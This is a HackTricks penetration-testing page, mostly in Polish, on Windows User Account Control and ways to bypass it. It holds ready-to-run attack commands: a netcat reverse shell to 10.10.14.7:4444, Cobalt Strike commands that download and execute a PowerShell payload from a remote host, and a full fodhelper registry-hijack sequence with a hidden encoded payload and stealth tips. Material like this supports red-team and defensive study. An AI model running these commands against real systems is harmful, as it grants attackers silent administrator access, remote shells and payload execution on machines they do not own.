UAC - Kontrola kont użytkowników
Reading time: 14 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
UAC
User Account Control (UAC) to funkcja, która wymusza wyświetlanie monitu o zgodę przy czynnościach wymagających podwyższenia uprawnień. Aplikacje mają różne poziomy integrity
, a program o wysokim poziomie może wykonywać zadania, które potencjalnie mogą zagrozić systemowi. Gdy UAC jest włączony, aplikacje i zadania zawsze uruchamiają się w kontekście konta niebędącego administratorem, chyba że administrator wyraźnie zezwoli tym aplikacjom/zadaniom na dostęp z uprawnieniami administratora. Jest to funkcja ułatwiająca pracę chroniąca administratorów przed niezamierzonymi zmianami, ale nie jest uznawana za granicę bezpieczeństwa.
For more info about integrity levels:
Gdy UAC jest aktywny, użytkownik należący do grupy administratorów otrzymuje 2 tokeny: token standardowego użytkownika do wykonywania zwykłych czynności oraz token z uprawnieniami administratora.
This page omawia działanie UAC bardzo szczegółowo i obejmuje proces logowania, doświadczenie użytkownika oraz architekturę UAC. Administratorzy mogą używać zasad zabezpieczeń do konfiguracji działania UAC odpowiednio do organizacji na poziomie lokalnym (używając secpol.msc), lub konfigurować i dystrybuować je przez Group Policy Objects (GPO) w środowisku domeny Active Directory. Różne ustawienia opisano szczegółowo [here]. Istnieje 10 ustawień Group Policy, które można ustawić dla UAC. Poniższa tabela zawiera dodatkowe szczegóły:
Teoria omijania UAC
Niektóre programy są automatycznie podwyższane (autoelevated), jeśli użytkownik należy do grupy administratorów. Te binaria mają w swoich Manifestach opcję autoElevate z wartością True. Plik wykonywalny musi być również podpisany przez Microsoft.
Wiele procesów auto-elevate udostępnia funkcjonalność przez obiekty COM lub serwery RPC, które można wywołać z procesów działających z medium integrity (z uprawnieniami zwykłego użytkownika). Uwaga: COM (Component Object Model) i RPC (Remote Procedure Call) to metody, których programy Windows używają do komunikacji i wykonywania funkcji pomiędzy różnymi procesami. Na przykład IFileOperation COM object
jest zaprojektowany do obsługi operacji na plikach (kopiowanie, usuwanie, przenoszenie) i może automatycznie podwyższać uprawnienia bez wyświetlania monitu.
Warto zauważyć, że mogą być wykonywane pewne kontrole, np. sprawdzanie, czy proces został uruchomiony z katalogu System32, co można obejść np. poprzez wstrzyknięcie do explorer.exe lub innego pliku wykonywalnego znajdującego się w System32.
Innym sposobem na obejście tych sprawdzeń jest modyfikacja PEB. Każdy proces w Windows ma Process Environment Block (PEB), który zawiera istotne dane o procesie, takie jak ścieżka do pliku wykonywalnego. Poprzez modyfikację PEB, atakujący mogą sfałszować (spoofować) lokalizację własnego złośliwego procesu, sprawiając, że będzie wyglądał, jakby uruchamiał się z zaufanego katalogu (np. System32). Tak sfingowane informacje oszukują obiekt COM, skłaniając go do automatycznego podwyższenia uprawnień bez monitu użytkownika.
Aby obejść UAC (podnieść poziom z medium integrity do high), niektórzy atakujący używają takiego typu binariów do uruchamiania dowolnego kodu, ponieważ zostanie on wykonany w procesie o wysokim poziomie integralności.
Możesz sprawdzić Manifest binarki przy użyciu narzędzia sigcheck.exe z Sysinternals (sigcheck.exe -m <file>
). A poziom integrity procesów można zobaczyć przy pomocy Process Explorer lub Process Monitor (Sysinternals).
Sprawdzenie UAC
Aby sprawdzić, czy UAC jest włączony, wykonaj:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Jeśli wartość to 1
, to UAC jest aktywny, jeśli to 0
lub nie istnieje, to UAC jest nieaktywny.
Następnie sprawdź, jaki poziom jest skonfigurowany:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Jeśli
0
to UAC nie będzie wyświetlać monitów (czyli wyłączony) - Jeśli
1
administrator jest prosiony o nazwę użytkownika i hasło aby uruchomić binarkę z wysokimi uprawnieniami (na Secure Desktop) - Jeśli
2
(Zawsze powiadamiaj mnie) UAC zawsze poprosi administratora o potwierdzenie, gdy spróbuje uruchomić coś z wysokimi uprawnieniami (na Secure Desktop) - Jeśli
3
jak1
ale niekoniecznie na Secure Desktop - Jeśli
4
jak2
ale niekoniecznie na Secure Desktop - Jeśli
5
(domyślnie) będzie prosić administratora o potwierdzenie uruchomienia binarek niebędących częścią Windows z wysokimi uprawnieniami
Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0
, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1
, all accounts inside "Administrators" group can do them.
And, finally take a look at the value of the key FilterAdministratorToken
If 0
(default), the built-in Administrator account can do remote administration tasks and if 1
the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy
is set to 1
.
Summary
- If
EnableLUA=0
or doesn't exist, no UAC for anyone - If
EnableLua=1
andLocalAccountTokenFilterPolicy=1
, No UAC for anyone - If
EnableLua=1
andLocalAccountTokenFilterPolicy=0
andFilterAdministratorToken=0
, No UAC for RID 500 (Built-in Administrator) - If
EnableLua=1
andLocalAccountTokenFilterPolicy=0
andFilterAdministratorToken=1
, UAC for everyone
All this information can be gathered using the metasploit module: post/windows/gather/win_privs
You can also check the groups of your user and get the integrity level:
net user %username%
whoami /groups | findstr Level
UAC bypass
tip
Zauważ, że jeśli masz graficzny dostęp do ofiary, obejście UAC jest proste — możesz po prostu kliknąć "Yes", gdy pojawi się monit UAC
The UAC bypass is needed in the following situation: the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group.
It is important to mention that it is much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).
UAC disabled
If UAC is already disabled (ConsentPromptBehaviorAdmin
is 0
) you can wykonać reverse shell z admin privileges (high integrity level) using something like:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass with token duplication
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Bardzo podstawowy UAC "bypass" (pełny dostęp do systemu plików)
Jeśli masz shell z użytkownikiem należącym do grupy Administrators możesz zamontować udział C$ przez SMB (system plików) lokalnie jako nowy dysk i będziesz mieć dostęp do wszystkiego w systemie plików (nawet folderu domowego Administratora).
warning
Wygląda na to, że ten trik już nie działa
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass z cobalt strike
Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalnym poziomie zabezpieczeń.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire i Metasploit mają także kilka modułów do bypass UAC.
KRBUACBypass
Dokumentacja i narzędzie w https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME które jest kompilacją kilku exploitów omijających UAC. Zauważ, że będziesz musiał skompilować UACME przy użyciu visual studio lub msbuild. Proces kompilacji utworzy kilka plików wykonywalnych (np. Source\Akagi\outout\x64\Debug\Akagi.exe
), będziesz musiał wiedzieć który z nich potrzebujesz.
Powinieneś zachować ostrożność, ponieważ niektóre bypasses spowodują, że inne programy wyświetlą monity, które zaalarmują użytkownika, że coś się dzieje.
UACME zawiera wersję build, od której każda technika zaczęła działać. Możesz wyszukać technikę dotyczącą twoich wersji:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Ponadto, korzystając z this, uzyskasz wydanie Windows 1607
na podstawie numerów build.
UAC Bypass – fodhelper.exe (Registry hijack)
Zaufany binarny plik fodhelper.exe
jest automatycznie podnoszony w nowoczesnych Windows. Po uruchomieniu sprawdza ścieżkę rejestru przypisaną do użytkownika (per-user) podaną poniżej, nie weryfikując werbu DelegateExecute
. Umieszczenie tam polecenia pozwala procesowi o Medium Integrity (użytkownik jest w Administrators) uruchomić proces o High Integrity bez monitu UAC.
Registry path queried by fodhelper:
HKCU\Software\Classes\ms-settings\Shell\Open\command
Kroki PowerShell (ustaw payload, a następnie uruchom):
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
Notatki:
- Działa, gdy bieżący użytkownik jest członkiem grupy Administrators i poziom UAC jest domyślny/łagodny (nie Always Notify z dodatkowymi ograniczeniami).
- Użyj ścieżki
sysnative
, aby uruchomić 64-bitowy PowerShell z 32-bitowego procesu na 64-bitowym Windows. - Payload może być dowolnym poleceniem (PowerShell, cmd lub ścieżka do EXE). Unikaj wywoływania UIs z monitami, aby pozostać stealth.
More UAC bypass
All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).
Możesz to uzyskać używając sesji meterpreter. Zmigruj do procesu, który ma wartość Session równą 1:
(explorer.exe powinien działać)
UAC Bypass with GUI
Jeśli masz dostęp do GUI możesz po prostu zaakceptować monit UAC gdy się pojawi, naprawdę nie potrzebujesz wtedy obejścia. Zatem uzyskanie dostępu do GUI pozwoli ci obejść UAC.
Co więcej, jeśli uzyskasz sesję GUI, której ktoś używał (potencjalnie przez RDP), istnieją niektóre narzędzia, które będą działać jako administrator, z których możesz na przykład uruchomić cmd as admin bez ponownego wyświetlania monitu UAC, np. https://github.com/oski02/UAC-GUI-Bypass-appverif. To może być trochę bardziej stealthy.
Noisy brute-force UAC bypass
Jeśli nie zależy ci na byciu głośnym, możesz zawsze uruchomić coś takiego jak https://github.com/Chainski/ForceAdmin, które będzie prosić o podniesienie uprawnień aż użytkownik to zaakceptuje.
Your own bypass - Basic UAC bypass methodology
Jeśli spojrzysz na UACME zauważysz, że większość obejść UAC wykorzystuje podatność Dll Hijacking (głównie poprzez zapisanie złośliwej dll w C:\Windows\System32). Przeczytaj to, aby dowiedzieć się jak znaleźć podatność Dll Hijacking.
- Find a binary that will autoelevate (check that when it is executed it runs in a high integrity level).
- With procmon find "NAME NOT FOUND" events that can be vulnerable to DLL Hijacking.
- You probably will need to write the DLL inside some protected paths (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
- wusa.exe: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
- IFileOperation: Windows 10.
- Prepare a script to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
Another UAC bypass technique
Polega na obserwowaniu, czy autoElevated binary próbuje odczytać z registry nazwę/ścieżkę binary lub command, które mają zostać wykonane (to jest bardziej interesujące, jeśli binarka szuka tych informacji w HKCU).
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
- LOLBAS: Fodhelper.exe
- Microsoft Docs – How User Account Control works
- UACME – UAC bypass techniques collection
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.